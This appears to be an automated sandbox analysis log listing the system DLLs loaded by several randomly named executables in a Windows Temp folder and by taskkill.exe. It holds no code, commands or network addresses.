Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: userenv.dll
